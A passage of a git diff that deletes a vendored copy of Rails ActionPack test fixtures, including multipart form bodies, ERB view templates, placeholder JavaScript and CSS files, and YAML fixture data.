aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
---AaB03x--
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/mixed_files b/vendor/rails/actionpack/test/fixtures/multipart/mixed_files
deleted file mode 100644
index 5eba7a6b..00000000
Binary files a/vendor/rails/actionpack/test/fixtures/multipart/mixed_files and /dev/null differ
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/mona_lisa.jpg b/vendor/rails/actionpack/test/fixtures/multipart/mona_lisa.jpg
deleted file mode 100644
index 5cf3bef3..00000000
Binary files a/vendor/rails/actionpack/test/fixtures/multipart/mona_lisa.jpg and /dev/null differ
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/none b/vendor/rails/actionpack/test/fixtures/multipart/none
deleted file mode 100644
index d66f4730..00000000
--- a/vendor/rails/actionpack/test/fixtures/multipart/none
+++ /dev/null
@@ -1,9 +0,0 @@
---AaB03x
-Content-Disposition: form-data; name="submit-name"
-
-Larry
---AaB03x
-Content-Disposition: form-data; name="files"; filename=""
-
-
---AaB03x--
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/single_parameter b/vendor/rails/actionpack/test/fixtures/multipart/single_parameter
deleted file mode 100644
index 8962c354..00000000
--- a/vendor/rails/actionpack/test/fixtures/multipart/single_parameter
+++ /dev/null
@@ -1,5 +0,0 @@
---AaB03x
-Content-Disposition: form-data; name="foo"
-
-bar
---AaB03x--
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/text_file b/vendor/rails/actionpack/test/fixtures/multipart/text_file
deleted file mode 100644
index e0367d68..00000000
--- a/vendor/rails/actionpack/test/fixtures/multipart/text_file
+++ /dev/null
@@ -1,10 +0,0 @@
---AaB03x
-Content-Disposition: form-data; name="foo"
-
-bar
---AaB03x
-Content-Disposition: form-data; name="file"; filename="file.txt"
-Content-Type: text/plain
-
-contents
---AaB03x--
diff --git a/vendor/rails/actionpack/test/fixtures/override/test/hello_world.erb b/vendor/rails/actionpack/test/fixtures/override/test/hello_world.erb
deleted file mode 100644
index 3e308d3d..00000000
--- a/vendor/rails/actionpack/test/fixtures/override/test/hello_world.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello overridden world!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/override2/layouts/test/sub.erb b/vendor/rails/actionpack/test/fixtures/override2/layouts/test/sub.erb
deleted file mode 100644
index 3863d5a8..00000000
--- a/vendor/rails/actionpack/test/fixtures/override2/layouts/test/sub.erb
+++ /dev/null
@@ -1 +0,0 @@
-layout: <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/post_test/layouts/post.html.erb b/vendor/rails/actionpack/test/fixtures/post_test/layouts/post.html.erb
deleted file mode 100644
index c6c1a586..00000000
--- a/vendor/rails/actionpack/test/fixtures/post_test/layouts/post.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><div id="html"><%= yield %></div></html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb b/vendor/rails/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb
deleted file mode 100644
index db0e4369..00000000
--- a/vendor/rails/actionpack/test/fixtures/post_test/layouts/super_post.iphone.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><div id="super_iphone"><%= yield %></div></html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/post_test/post/index.html.erb b/vendor/rails/actionpack/test/fixtures/post_test/post/index.html.erb
deleted file mode 100644
index b349b256..00000000
--- a/vendor/rails/actionpack/test/fixtures/post_test/post/index.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello Firefox
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/post_test/post/index.iphone.erb b/vendor/rails/actionpack/test/fixtures/post_test/post/index.iphone.erb
deleted file mode 100644
index d741e443..00000000
--- a/vendor/rails/actionpack/test/fixtures/post_test/post/index.iphone.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello iPhone
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/post_test/super_post/index.html.erb b/vendor/rails/actionpack/test/fixtures/post_test/super_post/index.html.erb
deleted file mode 100644
index 7fc2eb19..00000000
--- a/vendor/rails/actionpack/test/fixtures/post_test/super_post/index.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Super Firefox
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/post_test/super_post/index.iphone.erb b/vendor/rails/actionpack/test/fixtures/post_test/super_post/index.iphone.erb
deleted file mode 100644
index 99063a8d..00000000
--- a/vendor/rails/actionpack/test/fixtures/post_test/super_post/index.iphone.erb
+++ /dev/null
@@ -1 +0,0 @@
-Super iPhone
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/project.rb b/vendor/rails/actionpack/test/fixtures/project.rb
deleted file mode 100644
index 2b53d39e..00000000
--- a/vendor/rails/actionpack/test/fixtures/project.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Project < ActiveRecord::Base
-  has_and_belongs_to_many :developers, :uniq => true
-end
diff --git a/vendor/rails/actionpack/test/fixtures/projects.yml b/vendor/rails/actionpack/test/fixtures/projects.yml
deleted file mode 100644
index 02800c78..00000000
--- a/vendor/rails/actionpack/test/fixtures/projects.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-action_controller:
-  id: 2
-  name: Active Controller
-
-active_record:
-  id: 1
-  name: Active Record
diff --git a/vendor/rails/actionpack/test/fixtures/projects/_project.erb b/vendor/rails/actionpack/test/fixtures/projects/_project.erb
deleted file mode 100644
index 480c4c2a..00000000
--- a/vendor/rails/actionpack/test/fixtures/projects/_project.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= project.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/404.html b/vendor/rails/actionpack/test/fixtures/public/404.html
deleted file mode 100644
index 497397cc..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/404.html
+++ /dev/null
@@ -1 +0,0 @@
-404 error fixture
diff --git a/vendor/rails/actionpack/test/fixtures/public/500.da.html b/vendor/rails/actionpack/test/fixtures/public/500.da.html
deleted file mode 100644
index a497c136..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/500.da.html
+++ /dev/null
@@ -1 +0,0 @@
-500 localized error fixture
diff --git a/vendor/rails/actionpack/test/fixtures/public/500.html b/vendor/rails/actionpack/test/fixtures/public/500.html
deleted file mode 100644
index 7c66c7a9..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/500.html
+++ /dev/null
@@ -1 +0,0 @@
-500 error fixture
diff --git a/vendor/rails/actionpack/test/fixtures/public/absolute/test.css b/vendor/rails/actionpack/test/fixtures/public/absolute/test.css
deleted file mode 100644
index 6e09025b..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/absolute/test.css
+++ /dev/null
@@ -1,23 +0,0 @@
-/* bank.css */
-
-/* robber.css */
-
-/* version.1.0.css */
-
-/* bank.css */
-
-/* bank.css */
-
-/* robber.css */
-
-/* version.1.0.css */
-
-/* bank.css */
-
-/* robber.css */
-
-/* version.1.0.css */
-
-/* robber.css */
-
-/* version.1.0.css */
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/absolute/test.js b/vendor/rails/actionpack/test/fixtures/public/absolute/test.js
deleted file mode 100644
index 4c4292a3..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/absolute/test.js
+++ /dev/null
@@ -1,63 +0,0 @@
-// prototype js
-
-// effects js
-
-// dragdrop js
-
-// controls js
-
-// prototype js
-
-// effects js
-
-// dragdrop js
-
-// controls js
-
-// application js
-
-// bank js
-
-// robber js
-
-// version.1.0 js
-
-// application js
-
-// bank js
-
-// prototype js
-
-// effects js
-
-// dragdrop js
-
-// controls js
-
-// prototype js
-
-// effects js
-
-// dragdrop js
-
-// controls js
-
-// application js
-
-// bank js
-
-// robber js
-
-// version.1.0 js
-
-// application js
-
-// bank js
-
-// robber js
-
-// version.1.0 js
-
-// robber js
-
-// version.1.0 js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/images/rails.png b/vendor/rails/actionpack/test/fixtures/public/images/rails.png
deleted file mode 100644
index b8441f18..00000000
Binary files a/vendor/rails/actionpack/test/fixtures/public/images/rails.png and /dev/null differ
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/application.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/application.js
deleted file mode 100644
index 97026929..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/application.js
+++ /dev/null
@@ -1 +0,0 @@
-// application js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/bank.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/bank.js
deleted file mode 100644
index 4a1bee71..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/bank.js
+++ /dev/null
@@ -1 +0,0 @@
-// bank js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/controls.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/controls.js
deleted file mode 100644
index 88168d9f..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/controls.js
+++ /dev/null
@@ -1 +0,0 @@
-// controls js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/dragdrop.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/dragdrop.js
deleted file mode 100644
index c07061ac..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/dragdrop.js
+++ /dev/null
@@ -1 +0,0 @@
-// dragdrop js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/effects.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/effects.js
deleted file mode 100644
index b555d630..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/effects.js
+++ /dev/null
@@ -1 +0,0 @@
-// effects js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/prototype.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/prototype.js
deleted file mode 100644
index 9780064a..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/prototype.js
+++ /dev/null
@@ -1 +0,0 @@
-// prototype js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/robber.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/robber.js
deleted file mode 100644
index eb82fcbd..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/robber.js
+++ /dev/null
@@ -1 +0,0 @@
-// robber js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/subdir/subdir.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/subdir/subdir.js
deleted file mode 100644
index 9d23a67a..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/subdir/subdir.js
+++ /dev/null
@@ -1 +0,0 @@
-// subdir js
diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/version.1.0.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/version.1.0.js
deleted file mode 100644
index cfd5fce7..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/javascripts/version.1.0.js
+++ /dev/null
@@ -1 +0,0 @@
-// version.1.0 js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/stylesheets/bank.css b/vendor/rails/actionpack/test/fixtures/public/stylesheets/bank.css
deleted file mode 100644
index ea161b12..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/stylesheets/bank.css
+++ /dev/null
@@ -1 +0,0 @@
-/* bank.css */
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/stylesheets/robber.css b/vendor/rails/actionpack/test/fixtures/public/stylesheets/robber.css
deleted file mode 100644
index 0fdd00a6..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/stylesheets/robber.css
+++ /dev/null
@@ -1 +0,0 @@
-/* robber.css */
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css b/vendor/rails/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css
deleted file mode 100644
index 241152a9..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css
+++ /dev/null
@@ -1 +0,0 @@
-/* subdir.css */
diff --git a/vendor/rails/actionpack/test/fixtures/public/stylesheets/version.1.0.css b/vendor/rails/actionpack/test/fixtures/public/stylesheets/version.1.0.css
deleted file mode 100644
index 30f5f9ba..00000000
--- a/vendor/rails/actionpack/test/fixtures/public/stylesheets/version.1.0.css
+++ /dev/null
@@ -1 +0,0 @@
-/* version.1.0.css */
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/quiz/questions/_question.html.erb b/vendor/rails/actionpack/test/fixtures/quiz/questions/_question.html.erb
deleted file mode 100644
index fb4dcfee..00000000
--- a/vendor/rails/actionpack/test/fixtures/quiz/questions/_question.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= question.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/replies.yml b/vendor/rails/actionpack/test/fixtures/replies.yml
deleted file mode 100644
index 66020b70..00000000
--- a/vendor/rails/actionpack/test/fixtures/replies.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-witty_retort:
-  id: 1
-  topic_id: 1
-  developer_id: 1
-  content: Birdman is better!
-  created_at: <%= 6.hours.ago.to_s(:db) %>
-  updated_at: nil
-  
-another:
-  id: 2
-  topic_id: 2
-  developer_id: 1
-  content: Nuh uh!
-  created_at: <%= 1.hour.ago.to_s(:db) %>
-  updated_at: nil
diff --git a/vendor/rails/actionpack/test/fixtures/replies/_reply.erb b/vendor/rails/actionpack/test/fixtures/replies/_reply.erb
deleted file mode 100644
index 68baf548..00000000
--- a/vendor/rails/actionpack/test/fixtures/replies/_reply.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= reply.content %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/reply.rb b/vendor/rails/actionpack/test/fixtures/reply.rb
deleted file mode 100644
index 04598437..00000000
--- a/vendor/rails/actionpack/test/fixtures/reply.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Reply < ActiveRecord::Base
-  named_scope :base
-  belongs_to :topic, :include => [:replies]
-  belongs_to :developer
-
-  validates_presence_of :content
-end
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb b/vendor/rails/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb
deleted file mode 100644
index 84a84049..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-HTML for all_types_with_layout
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/all_types_with_layout.js.rjs b/vendor/rails/actionpack/test/fixtures/respond_to/all_types_with_layout.js.rjs
deleted file mode 100644
index b7aec7c5..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/all_types_with_layout.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page << "RJS for all_types_with_layout"
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb b/vendor/rails/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
deleted file mode 100644
index 0cdfa414..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
+++ /dev/null
@@ -1 +0,0 @@
-Mobile
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb b/vendor/rails/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
deleted file mode 100644
index 1f3f1c65..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello future from <%= @type -%>!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb b/vendor/rails/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
deleted file mode 100644
index 17888ac3..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello iPhone future from <%= @type -%>!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/layouts/missing.html.erb b/vendor/rails/actionpack/test/fixtures/respond_to/layouts/missing.html.erb
deleted file mode 100644
index d6f92a31..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/layouts/missing.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><div id="html_missing"><%= yield %></div></html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/layouts/standard.html.erb b/vendor/rails/actionpack/test/fixtures/respond_to/layouts/standard.html.erb
deleted file mode 100644
index c6c1a586..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/layouts/standard.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><div id="html"><%= yield %></div></html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb b/vendor/rails/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb
deleted file mode 100644
index 84444517..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><div id="iphone"><%= yield %></div></html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.html.erb b/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.html.erb
deleted file mode 100644
index 6769dd60..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.js.rjs b/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.js.rjs
deleted file mode 100644
index 469fcd8e..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page[:body].visual_effect :highlight
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.xml.builder b/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
deleted file mode 100644
index 598d62e2..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
+++ /dev/null
@@ -1 +0,0 @@
-xml.p "Hello world!"
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb b/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
deleted file mode 100644
index 6769dd60..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.js.rjs b/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.js.rjs
deleted file mode 100644
index 469fcd8e..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page[:body].visual_effect :highlight
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder b/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
deleted file mode 100644
index 598d62e2..00000000
--- a/vendor/rails/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
+++ /dev/null
@@ -1 +0,0 @@
-xml.p "Hello world!"
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/scope/test/modgreet.erb b/vendor/rails/actionpack/test/fixtures/scope/test/modgreet.erb
deleted file mode 100644
index 8947726e..00000000
--- a/vendor/rails/actionpack/test/fixtures/scope/test/modgreet.erb
+++ /dev/null
@@ -1 +0,0 @@
-<p>Beautiful modules!</p>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb b/vendor/rails/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
deleted file mode 100644
index 145c92e1..00000000
--- a/vendor/rails/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-module SessionAutoloadTest
-  class Foo
-    def initialize(bar='baz')
-      @bar = bar
-    end
-    def inspect
-      "#<#{self.class} bar:#{@bar.inspect}>"
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/shared.html.erb b/vendor/rails/actionpack/test/fixtures/shared.html.erb
deleted file mode 100644
index af262fc9..00000000
--- a/vendor/rails/actionpack/test/fixtures/shared.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Elastica
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/symlink_parent/symlinked_layout.erb b/vendor/rails/actionpack/test/fixtures/symlink_parent/symlinked_layout.erb
deleted file mode 100644
index bda57d0f..00000000
--- a/vendor/rails/actionpack/test/fixtures/symlink_parent/symlinked_layout.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-This is my layout
-
-<%= yield %>
-
-End.
diff --git a/vendor/rails/actionpack/test/fixtures/test/_counter.html.erb b/vendor/rails/actionpack/test/fixtures/test/_counter.html.erb
deleted file mode 100644
index fd245bfc..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_counter.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= counter_counter %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer.erb b/vendor/rails/actionpack/test/fixtures/test/_customer.erb
deleted file mode 100644
index d8220afe..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_customer.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer_counter.erb b/vendor/rails/actionpack/test/fixtures/test/_customer_counter.erb
deleted file mode 100644
index 3435979d..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_customer_counter.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= customer_counter.name %><%= customer_counter_counter %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer_counter_with_as.erb b/vendor/rails/actionpack/test/fixtures/test/_customer_counter_with_as.erb
deleted file mode 100644
index 1241eb60..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_customer_counter_with_as.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= client.name %><%= client_counter %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer_greeting.erb b/vendor/rails/actionpack/test/fixtures/test/_customer_greeting.erb
deleted file mode 100644
index 6acbcb20..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_customer_greeting.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer_with_var.erb b/vendor/rails/actionpack/test/fixtures/test/_customer_with_var.erb
deleted file mode 100644
index 3379246b..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_customer_with_var.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= customer.name %> <%= object.name %> <%= customer_with_var.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_form.erb b/vendor/rails/actionpack/test/fixtures/test/_form.erb
deleted file mode 100644
index 01107f1c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_form.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= form.label :title %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/_from_helper.erb b/vendor/rails/actionpack/test/fixtures/test/_from_helper.erb
deleted file mode 100644
index 16de7c0f..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_from_helper.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render_from_helper %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_hash_greeting.erb b/vendor/rails/actionpack/test/fixtures/test/_hash_greeting.erb
deleted file mode 100644
index fc54a36f..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_hash_greeting.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %>: <%= hash_greeting[:first_name] %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_hash_object.erb b/vendor/rails/actionpack/test/fixtures/test/_hash_object.erb
deleted file mode 100644
index 55c03afb..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_hash_object.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%= hash_object[:first_name] %>
-<%= object[:first_name].reverse %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/_hello.builder b/vendor/rails/actionpack/test/fixtures/test/_hello.builder
deleted file mode 100644
index ef52f632..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_hello.builder
+++ /dev/null
@@ -1 +0,0 @@
-xm.hello
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_labelling_form.erb b/vendor/rails/actionpack/test/fixtures/test/_labelling_form.erb
deleted file mode 100644
index 1b957631..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_labelling_form.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= labelling_form.label :title %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb b/vendor/rails/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb
deleted file mode 100644
index 30753320..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-Before
-<%= yield 'arg1', 'arg2' %>
-After
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_layout_for_partial.html.erb b/vendor/rails/actionpack/test/fixtures/test/_layout_for_partial.html.erb
deleted file mode 100644
index 666efadb..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_layout_for_partial.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-Before (<%= name %>)
-<%= yield %>
-After
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_local_inspector.html.erb b/vendor/rails/actionpack/test/fixtures/test/_local_inspector.html.erb
deleted file mode 100644
index c5a6e3e5..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_local_inspector.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= local_assigns.keys.map(&:to_s).sort.join(",") -%>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_one.html.erb b/vendor/rails/actionpack/test/fixtures/test/_one.html.erb
deleted file mode 100644
index f796291c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_one.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :partial => "two" %> world
diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial.erb b/vendor/rails/actionpack/test/fixtures/test/_partial.erb
deleted file mode 100644
index e466dcbd..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_partial.erb
+++ /dev/null
@@ -1 +0,0 @@
-invalid
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial.html.erb b/vendor/rails/actionpack/test/fixtures/test/_partial.html.erb
deleted file mode 100644
index e39f6c98..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_partial.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-partial html
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial.js.erb b/vendor/rails/actionpack/test/fixtures/test/_partial.js.erb
deleted file mode 100644
index b350cdd7..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_partial.js.erb
+++ /dev/null
@@ -1 +0,0 @@
-partial js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb b/vendor/rails/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
deleted file mode 100644
index 3a03a64e..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Inside from partial (<%= name %>)
\ No newline at end of file
